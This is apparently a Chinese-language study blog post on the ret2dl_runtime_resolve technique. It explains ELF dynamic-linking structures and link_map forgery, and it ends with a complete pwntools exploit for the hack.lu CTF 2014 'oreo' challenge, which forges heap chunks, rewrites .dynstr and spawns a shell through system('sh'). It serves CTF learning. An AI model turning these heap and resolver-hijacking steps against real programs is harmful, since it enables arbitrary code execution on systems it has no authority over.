注意
本文最后更新于 2024-02-11,文中内容可能已过时。
我觉得这很难,所以开帖子记录自己的学习过程。
要学会这个利用方法首先要知道ELF文件的基本结构和动态链接的基本过程。
文章内容都是我自己的理解,出现错误也是非常正常的,欢迎指正。
动态链接:
- 在第一次调用plt的时候,会调用
_dl_runtime_resolve
- 从链接库中得到地址,并且赋值到got表对应位置中。
而这个ROP利用的就是1到2之间的过程,首先我们要知道,调用
_dl_runtime_resolve
的时候,会传入两个参数进去,第一个参数对应的是link_map
的地址,第二个参数对应的是地址在.rel.plt中的偏移。
link_map中有一个东西是.dynamic
.dynamic中有三个东西分别对应
*(DT_STRTAB => .dynstr, DT_SYMTAB => .dynsym, DT_JMPREL =>.rel.plt)*
这三个东西分别是啥呢,来介绍一下。
DT_STRTAB(ELF String Table)
顾名思义,str => string。这一块储存的就是导入函数的名称。
首先我们去400448h这个地址看一下。
没错,这里储存的就是所有导出函数的名称,这个表开头第一位是\x00,每一个名字结尾还有个\x00,标准的C语言字符串结构。
DT_SYMTAB(ELF Symbol Table)
这里放的是一个结构体。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| typedef struct elf32_sym
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0
typedef struct elf64_sym
{
Elf64_Word st_name; // 符号名称,字符串表中的索引
// STT_OBJECT表示符号关联到一个数据对象,如变量、数组或指针;
// STT_FUNC表示符号关联到一个函数;
// STT_NOTYPE表示符号类型未指定,用于未定义引用
unsigned char st_info; // 类型和绑定属性:STB_LOCAL/STB_GLOBAL/STB_WEAK;
unsigned char st_other; // 语义未定义,0
Elf64_Half st_shndx; // 相关节的索引,符号将绑定到该节,此外SHN_ABS指定符号是绝对值,不因重定位而改变,SHN_UNDEF标识未定义符号。
Elf64_Addr st_value; // 符号的值
Elf64_Xword st_size; // 符号的长度,如一个指针的长度或struct对象中包含的字节数。
}Elf64_Sym;
|
要注意的是
- 第一个字段放的不是字符串,而是在STRTAB中的索引
- 32位和64位的这个数据结构的大小不一样,32位是0x10,64位是0x18。
DT_JMPREL(ELF JMPREL Relocation Table)
这也是个数据结构,不过简单多了
1
2
3
4
5
6
7
| typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
//一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标,
} Elf32_Rel;
|
我来简单说明一下:
第一个参数就是指向GOT表的指针,用于等下把地址写入GOT表。
第二个参数是要把图中我选中的黄色部分去掉,也就是(val) » 8 的值,这个值是这个导入的函数在DT_SYMTAB中的下标。
这个0x7结尾是导入函数规定的。
_dl_runtime_resolve
会干什么?
_dl_runtime_resolve
会
- 用
link_map
(第一个参数)访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针 - .rel.plt + Offset(第二个参数),求出当前函数的在重定位表项(.rel.plt)中
Elf32_Rel
具体位置(指针),记作rel rel->r_info
» 8作为.dynsym的下标,求出当前函数在符号表项(.dynsym)中Elf32_Sym
的具体位置(指针),记作sym- .dynstr + sym->st_name,得到符号名字符串指针
- 在动态链接库查找这个字符串对应的函数的地址,并且把地址赋值给
*rel->r_offset
,即GOT表 - 调用这个函数
利用方法
1.(No RELRO)直接改写.dynstr
直接改写.dynstr中对应函数字符串内容为我们想要的内容。
比如修改free为system,这样free(buf)的时候,如果buf的内容是 “/bin/sh”, 那么就实现了system("/bin/sh")
2.修改调用时的偏移(第二个参数),指向我们构造的假的rel
我们知道_dl_runtime_resolve
中利用我们这个偏移来计算出rel的位置,而正好这个偏移是没有考虑到是否越界访问的,所以可以实现让其指向我们伪造的rel结构。
都伪造好以后可以手动调用_dl_runtime_resolve
达到修改的目的,两个参数(link_map, offset)。
这里要注意,虽然我们说的第一个参数,第二个参数,但是实际上,第二个参数比第一个参数先push。所以说我们这里虽然不知道link_map的地址,但是我们可以利用plt里面的push link_map的位置来执行调用,就是可以跳过push offset的那一块,直接从后面开始。
3.伪造link_map
首先要解决的是,程序获取对应符号的vernum不能够报错
解决方案
1.64位下 link_map
+ 0x1c8 要置0,使程序不进入if循环。前提是要泄漏出link_map
的地址,位置在rop.got() + 8。
2.修改.dynamic中versym的值,要求NO RELRO
出错位置在于这里:
1
2
3
4
5
6
7
8
9
| if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
|
其他细节可以参照roputils里面的代码,这个程序利用的就是伪造link_maps
来操作,所以官方的x64 demo中有对link_map + 0x1c8
进行修改。
所以我们如果要利用roputils在x64下进行ret2_dl_runtime_resolve
,那么需要以下步骤
- 用write对
link_map
的指针进行读取(在got + 8位置) - 用read对
link_map + 0x1c8
这个位置进行写入0。 ret2_dl_runtime_resolve
由于以上需要的栈溢出大小较大,所以一般结合栈转移来进行(roputils中提供rop.pivot(addr)来进行栈转移,使用也较为方便)
[github repo=“inaz2/roputils” /]
例题:
结合方法1:hack.lu CTF 2014-OREO
在NO RELRO的情况下,修改.dynstr指针来ret2_dl_runtime_resolve
。
我个人认为这个构造方法挺难的。我整了三四个小时才成功搞定这道题的ret2_dl_runtime_resolve
的做法。
我这里的方法大概可以描述如下
- 修改.dynstr指针
- 伪造system字符串作为fake .dynstr
- 修改[email protected]为free@plt + 6,也就是没
dl_runtime_resolve
时候的状态,只有在这个状态下才会执行dl_runtime_resolve
去解析,否则会直接执行free。但是覆盖的时候要注意到结尾的\x0A会覆盖到fgets的got表,而且fgets在接下来会被调用到,所以还要leak fgets的内容,并且覆盖成正确的内容,这时候\x0A会覆盖到一个不会执行到的地方,就没关系了。 - free,这时候free传入的地址是前面构造system的位置和另一个堆,所以这里选择构造sh\x00system\x00,并且把fake .dynstr往后移动三位。如果这里直接add再free的话,但是这时候add会报错,原因是之前构造指向的所以这个方案不可以。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
| from pwn import *
from LibcSearcher import *
#r = process('./oreo')
r = remote('wildwildweb.fluxfingers.net', 1414)
elf = ELF('./oreo')
def choice(idx):
r.sendline(str(idx))
def add_data(data):
choice(1)
r.sendline('')
r.sendline(data)
def add(next_ptr):
choice(1)
r.sendline('a' * (0x38 - 0x19 - 0x4) + p32(next_ptr))
r.sendline('sh\x00')
def show():
choice(2)
def free():
choice(3)
def add_msg(msg):
choice(4)
r.sendline(msg)
def show_stats():
choice(5)
for i in range(0x40 - 0x1):
add(0)
order_msg_ptr = 0x0804A2A8
order_msg_chunk = 0x0804A2C0
dynstr_addr = 0x0804A17C
add_msg(p32(0) + p32(0x41) + '\x00' * 0x38 + p32(0x18)) #nextChunk == \x00 && nextsize = 0x18
add(order_msg_chunk + 0x8) #order_msg_chunk + 0x8 == chunk content
free() #free fake chunk
#UAF:change fake chunk fd = order_msg_ptr struct
add_msg(p32(0) + p32(0x41) + p32(order_msg_ptr - 0x8) + '\x00' * 0x34 + p32(0x18))
add_data('') #get fake chunk
#change order_ptr to dynstr_addr & UAF2:change fake chunk fd = order_msg_ptr_struct
add_data(p32(dynstr_addr) + 'a' * 0x14 + p32(0) + p32(0x41) + p32(order_msg_ptr - 0x8))
#0x8 is fake chunk struct; 0x3 is sh\x00; -0x82 is offset of 'free' in .dynstr; other hex is copy from ida
add_msg(p32(0x5) + p32(order_msg_chunk + 0x8 + 0x3 - 0x82) + p32(0x6) + p32(0x80481F8))
add_data('sh\x00system\x00') #get fake chunk
add_data(p32(elf.got['free'])) #change order_ptr to [email protected]
show_stats() #leak fgets@plt for next change
r.recvuntil('\xf7')
fgets_addr = u32(r.recvuntil('\xf7')[-4:])
#change [email protected] => free@plt + 6; [email protected] is not change
add_msg(p32(elf.plt['free'] + 6) + p32(fgets_addr))
#system(unknown); system(sh\x00system\x00) => system(sh)
free()
r.interactive()
|
结合方法3:keer’s bug
(借助roputils)
https://blog.wjhwjhn.com/archives/73/
参考链接
[原创][新手向]ret2dl-resolve详解 https://bbs.pediy.com/thread-227034.htm